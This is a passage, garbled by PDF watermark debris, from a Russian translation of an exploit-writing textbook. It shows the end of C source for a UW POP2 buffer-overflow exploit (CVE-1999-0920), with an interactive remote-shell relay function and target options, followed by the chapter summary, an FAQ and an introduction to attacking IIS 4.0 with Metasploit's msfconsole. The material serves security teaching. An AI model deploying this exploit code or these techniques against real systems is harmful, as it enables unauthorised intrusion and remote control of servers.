Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

 

d

 

 

xch273

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

274snprintf(sendbuf, sizeof(sendbuf),

275"* 0 EXISTS\r\n* 0 RECENT\r\n"

276"* OK [UIDVALIDITY 1] UID validity status\r\n"

277"* OK [UIDNEXT 1] Predicted next UID\r\n"

278"* FLAGS (\\Answered \\Flagged \\Deleted \\Draft \\Seen)\r\n"

279"* OK [PERMANENT FLAGS () ] Permanent flags\r\n"

280"00000002 OK [ READ-WRITE] SELECT completed\r\n");

281

282 send(csockfd, sendbuf, strlen(sendbuf), 0);

283

284 printf("completed\n");

285

286close(csockfd);

287close(ssockfd);

289return(0);

290}

291

292 int shell(int sockfd)

293{

294fd_set fds;

295int fmax, ret;

296char buf[1024];

298 fmax = max(fileno(stdin), sockfd) + 1;

299

300for(;;) {

301FD_ZERO(&fds);

302FD_SET(fileno(stdin), &fds);

303FD_SET(sockfd, &fds);

304if(select(fmax, &fds, NULL, NULL, NULL) < 0) {

305perror("select()");

306close(sockfd);

307exit(-1);

308}

309if(FD_ISSET(sockfd, &fds)) {

310bzero(buf, sizeof buf);

311if((ret = recv(sockfd, buf, sizeof buf, 0)) < 0) {

312perror("recv()");

313close(sockfd);

314exit(-1);

315}

316if(!ret) {

317fprintf(stderr, "Connection closed\n");

318close(sockfd);

319exit(-1);

320}

321write(fileno(stdout), buf, ret);

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

581

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

582 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

 

}

 

 

 

df-xchan

322

 

 

 

 

 

 

 

 

 

323

 

if(FD_ISSET(fileno(stdin), &fds)) {

 

 

 

 

 

 

 

 

324

 

bzero(buf, sizeof buf);

 

 

 

 

 

 

 

 

325

 

ret = read(fileno(stdin), buf, sizeof buf);

 

 

 

 

 

 

 

 

326

 

errno = 0;

 

 

 

 

 

 

 

 

327

 

if(send(sockfd, buf, ret, 0) != ret) {

 

 

 

 

 

 

 

 

328

 

if(errno)

 

 

 

 

 

 

 

 

329

 

perror("send()");

 

 

 

 

 

 

 

 

330

 

else

 

 

 

 

 

 

 

 

331

 

fprintf(stderr, "Потеряны данные при передаче\n");

 

 

 

 

 

 

 

 

332

 

close(sockfd);

 

 

 

 

 

 

 

 

333

 

exit(-1);

 

 

 

 

 

 

 

 

334

 

}

 

 

 

 

 

 

 

 

335

 

}

 

 

 

 

 

 

 

 

336

 

}

 

 

 

 

 

 

 

 

337

}

 

 

 

 

 

 

 

 

 

338

 

 

339 void usage(char *arg)

340{

341int i;

343 printf("Usage: %s [-v <victim>] [-l <localhost>] [-t <target>] " "[options]\n"

344"\nOptions:\n"

345" [-i <imap server>]\n"

346" [-u <imap username]\n"

347" [-p <imap password]\n"

348" [-a <alignment>]\n"

349" [-o <offset>]\n"

350"\nTargets:\n", arg);

352for(i = 0; targets[i].version != NULL; i++)

353printf(" [%d] – POP2 %s\n", i, targets[i].version);

354exit(-1);

355}

356

357 unsigned long resolve(char *hostname)

358{

359struct sockaddr_in sin;

360struct hostent *hent;

362hent = gethostbyname(hostname);

363if(!hent)

364return 0;

365

366bzero((char *) &sin, sizeof(sin));

367memcpy((char *) &sin.sin_addr, hent->h_addr, hent->h_length);

368return sin.sin_addr.s_addr;

369}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920 583

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

Этот эксплойт имитирует поведение IMAP-сервера, позволяя атакующему

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обойтись без внешнего IMAP-сервера с действующей учетной записью. Действия, вызывающие переполнение стека, довольно просты. В строках 107– 111 устанавливается соединение с POP2-сервером. Затем эксплойт вызывает функцию imap_server, создающую имитацию IMAP-сервера. Этот «IMAP-сер- вер» посылает POP2-серверу строку HELO, заставляя его соединиться с IMAPсервером, чтобы проверить существование указанного пользователя. Когда POP2-сервер подтверждает успешность операции, ему посылается команда FOLD (строка 140) со специально подготовленным аргументом, который вызывает переполнение стека и выполнение произвольного кода.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

584 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

e

 

 

 

 

 

 

n

Резюме

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Для успешного написания эксплойта, направленного против переполнения буфера, нужно хорошо разбираться в методах отладки, архитектуре системы и организации памяти. Структура shell-кода в сочетании с ограничениями, накладываемыми конкретной уязвимостью, могут как затруднить, так и поспособствовать результативной работе эксплойта. Если другие данные в стеке или в куче уменьшают объем памяти, доступной shell-коду, то требуется оптимизировать shell-код в соответствии с задачей, стоящей перед атакующим. Знание того, как прочитать и модифицировать существующий shell-код или написать свой собственный, совершенно необходимо для практического создания эксплойтов.

Переполнение стека и затирание кучи когда-то были самыми серьезными проблемами при разработке программного обеспечения с точки зрения потенциального риска компрометации. Но теперь их место занимают более новые и трудные для обнаружения ошибки при работе с целыми числами. К этому классу относятся широкий спектр ошибок, в том числе несоответствие типов и ошибки умножения.

Обзор изложенного материала

Программирование сокетов и привязки

êпорту в эксплойтах

Параметр domain определяет метод коммуникации и для сокетов, использующих протоколы TCP/IP, чаще всего равен AF_INET.

Параметр sockfd – это дескриптор инициализированного сокета, возвращаемый функцией socket. Она обязательно должна вызываться перед попыткой установить соединение. Структура serv_addr содержит IP-адрес и порт получателя.

При написании эксплойтов иногда бывает необходимо установить обратное соединение и создать некое подобие сервера. Для реализации функций сервера нужны четыре функции: socket, bind, listen è accept.

Эксплойты для переполнения стека

Переполнение буфера, расположенного в стеке, на сегодня считается самой распространенной из ошибок, допускающих атаку с помощью эксплойта. В этом случае данные пишутся за пределами буфера, затирая стек, что приводит к непредсказуемому поведению и часто становится

причиной компрометации.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Ссылки на сайты 585

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

-x cha

 

.c

 

Свыше сотни функций в стандартной библиотеке LIBC чреваты про-

 

g

 

 

 

 

p

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

блемами для безопасности системы. Серьезность этих проблем варьируется от незначительной (скажем, «псевдослучайные числа, генерируемые srand(), недостаточно случайны») до критической («может привести к повышению привилегий при неправильном использовании», как, например, printf()).

Эксплойты для затирания кучи

Куча – это область, из которой приложение выделяет память динами- чески, во время выполнения. Часто переполняются буферы, память для которых выделена из кучи, и эксплойты для таких ошибок пишутся иначе, чем для переполнений буфера в стеке.

В отличие от переполнения стека такие ошибки плохо воспроизводимы, и для их эксплуатации применяются различные приемы.

Приложение выделяет память из кучи по мере необходимости. Для этого применяется функция malloc(). Ей передается число требуемых байтов, а возвращает она указатель на выделенную область памяти.

Эксплойты для ошибок при работе с целыми числами

Переполнение целого числа возникает, когда в результате увеличения целое число достигает максимально допустимого значения и при переходе через него становится равным нулю, а затем принимает небольшие значения.

Переход через ноль происходит также в результате уменьшения небольшого целого числа, в результате чего оно начинает принимать большие значения.

Часто ошибки переполнения целого обнаруживаются в связи с функцией malloc, но проблема не связана ни с управлением памятью, ни конкретно с этой или вообще какой-то функцией из библиотеки LIBC.

Ссылки на сайты

www.applicationdefense.com. На сайте Application Defense имеется большая подборка бесплатных инструментов по обеспечению безопасности в дополнение к программам, представленным в этой книге.

www.immunitysec.com. Сайт Дейва Эйтеля (Dave Aitel), посвященный бесплатной библиотеке SPIKE для генерации случайных входных данных. Ее исходные тексты можно загрузить из раздела «Free Tools».

www.corest.com. Компания Core Security Technologies реализовала немало касающихся безопасности проектов с открытыми исходными тек-

стами, которые бесплатно предоставила в распоряжении сообщества

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

586 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

-xcha

 

 

.c

 

коллег. Один из самых популярных ее проектов – это библиотека

 

 

p

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

кодов InlineEgg.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

shell--x cha

g

 

 

 

 

p

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

www.eeye.com. Прекрасный сайт, на котором детально описываются уязвимости на платформе Microsoft Windows и даются рекомендации по написанию эксплойтов.

www.idefense.com. Компания iDefense за прошедшие два года опубликовала свыше 50 отчетов о найденных уязвимостях. Отличный источник информации по этой теме.

Часто задаваемые вопросы

Следующие часто задаваемые вопросы, на которые отвечают авторы книги, призваны помочь вам оценить, насколько хорошо вы поняли идеи, изложенные в данной главе, и возможные их применения на практике. Если вы хотите задать авторам вопрос, зайдите на страницу www.syngress.com/solutions и заполните форму Ask the Author. Заодно вы получите доступ к тысячам других FAQов на сайте ITFAQnet.com.

Â: Если я пользуюсь системой защиты от вторжений (intrusion protection system – IPS) или такими утилитами, как stackguard, или заплатой, запрещающей исполнение команд, находящихся в стеке, могу ли я считать, что защищен от эксплойтов, атакующих уязвимости в моей системе?

Î: Нет. Эти системы действительно затрудняют написание эксплойтов, но не делают эту задачу неразрешимой. Кроме того, большая часть подобного рода бесплатных утилит мешают лишь эксплуатации уязвимостей, связанных с переполнением стека, но никак не препятствуют атакам на ошибки, связанные с затиранием кучи, и прочие.

Â: Какая операционная система самая безопасная?

Î: Не доказано, что какая-то из общедоступных операционных систем более безопасна, чем прочие. Некоторые производители заявляют, что их системы безопасны, но уязвимости в них все равно находят и закрывают (хотя не всегда сообщают об этом публично). Для других систем заплаты выходят почти каждую неделю, но зато они и подвергаются более пристальному вниманию хакеров.

Â: Если ошибки, связанные с переполнением буфера, и другие уязвимости известны уже так давно, то почему они все еще встречаются в приложениях?

Î: Хотя классические переполнения стека теперь уже не так часто встретишь в широко используемых программах, но не все разработчики знают об опасности, а те, кто знает, иногда все же допускают ошибки.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

Глава 12

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Написание эксплойтов III

Описание данной главы:

Использование каркаса Metasploit

Разработка эксплойтов с помощью каркаса Metasploit

Интеграция эксплойтов в каркас См. также главы 10, 11

Резюме

Обзор изложенного материала

Часто задаваемые вопросы

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

588 Глава 12. Написание эксплойтов III

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

e

 

 

 

 

 

 

n

Введение

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

В 2003году насудобщественности был представлен новый инструментпод названием Metasploit Framework (MSF). Это первый бесплатный каркас для разработки эксплойтов, распространяемый с исходными текстами. В следующем после выпуска году MSF быстро стал одним из самых популярных продуктов в сфере информационной безопасности. Солидную репутацию MSF заслужил благодаря усилиям как основной группы разработчиков, так и сторонних авторов. Результатом их напряженного труда стало более 45 надежных эксплойтов для многих популярных операционных систем и приложений. Каркас Metasploit распространяется на условиях лизенций GNU GPL и «artistic». С каждой новой версией он пополняется новыми эксплойтами и передовыми функциями.

Мы начнем эту главу с обсуждения того, как Metasploit Framework можно использовать в качестве платформы для создания эксплойтов. Основное внимание будет уделено программе msfconsole – самому мощному и гибкому из трех имеющихся интерфейсов. Затем мы рассмотрим один из самых полезных аспектов Metasploit, о котором многие пользователи не знают, хотя он способен заметно сократить время разработки полнофункциональных эксплойтов, не требуя обширных предварительных знаний. Проследив за созданием эксплойта, направленного против реальной уязвимости в одном популярном Web-сервере с недоступными исходными текстами, читатель научится применять MSF для организации атаки на переполнение буфера. В этой главе мы объясним также, как интегрировать эксплойт непосредственно в каркас Metasploit на примере детального анализа уже проделанной работы. Не будут оставлены без внимания и детали функционирования ядра Metasploit. По ходу изложения у читателя будет возможность оценить преимущества каркасов для разработки эксплойтов.

Эта глава не рассчитана ни на новичков, ни на экспертов. Ее цель – продемонстрировать полезность инструментария, входящего в состав Metasploit, и навести мосты между теорией и практикой. Чтобы извлечь максимальную пользу из ее прочтения, желательно понимать теоретические основы атак на переполнение буфера и иметь хотя бы базовые навыки программирования.

Использование каркаса Metasploit Framework

Каркас Metasploit Framework написан на языке Perl и работает почти на любой UNIX-платформе, включая и эмулятор Cygwin для Windows. Каркас предоставляет на выбор три интерфейса пользователя: msfcli, msfweb è msfconsole.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Использование каркаса Metasploit Framework 589

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

-xchИнтерфейсa

msfcli полезен для написания сценариев, так как все параметры

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

эксплойта задаются в командной строке. Доступ к интерфейсу msfweb можно получить из Web-браузера, он может служить отличной средой для демонстрации уязвимостей. Консоль msfconsole – это интерактивная графическая оболочка, наиболее удобная для разработки эксплойтов.

Примечание

Все интерфейсы к Metasploit построены на базе единого API, экспор тируемого ядром. API легко расширяется на любое средство комму никации, например, IRC чаты, в этом случае интерфейс мог бы стать идеальной средой для коллективной работы и обучения. Такой ин терфейс уже разработан, хотя официально еще не выпущен. Ходят слухи, что в разработке находится также интерфейс для Интернет пейджеров.

Интерактивный командный интерфейс msfconsole предоставляет набор команд, с помощью которых пользователь может задать параметры как самого каркаса, так и эксплойта, и в конечном итоге запустить эксплойт. Нераспознанные команды передаются операционной системе, так что можно, не покидая оболочки, выполнять различные вспомогательные утилиты. Мы продемонстрируем работу с msfconsole на примере разработки эксплойта для Web-сервера IIS 4.0 на платформе Windows NT с установленным пакетом обновлений Service Pack 5.

На рис. 12.1 показано справочное меню, которое можно вызвать в любой момент нажав клавишу ? или набрав команду help.

Рис. 12.1. Справочное меню msfconsole

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

590 Глава 12. Написание эксплойтов III

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

e

 

Прежде всего, обратите внимание на возможность получения списка име--x cha

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ющихся эксплойтов с помощью команды show exploits (см. рис. 12.2). Многообещающе выглядит строка IIS 4.0 .HTR Buffer Overflow, поскольку на

машине, которую мы выбрали жертвой, работает IIS 4.0. С помощью команды info можно получить информацию о различных аспектах эксплойта, в частности, о целевой платформе и требованиях к ней, о специфике полезной нагрузки, описание и ссылки на внешние источники информации. На рис. 12.3 видно, что среди целевых платформ есть и Windows NT4 SP5, которая нас как раз интерсует.

Далее пользователь говорит каркасу, что надо выбрать эксплойт для IIS 4.0, вводя команду use iis40_htr. По умолчанию включен режим автозавершения по клавише табуляции, так что достаточно набрать iis4 и нажать Tab. Как видно из рис. 12.5, в командной строке отражен сделанный выбор.

После того как эксплойт выбран, консоль переключается из основного режима в режим эксплойта, а список команд отражает имеющиеся в этом режиме возможности. Например, команда show теперь выводит информацию

Рис. 12.2. Перечень эксплойтов в окне msfconsole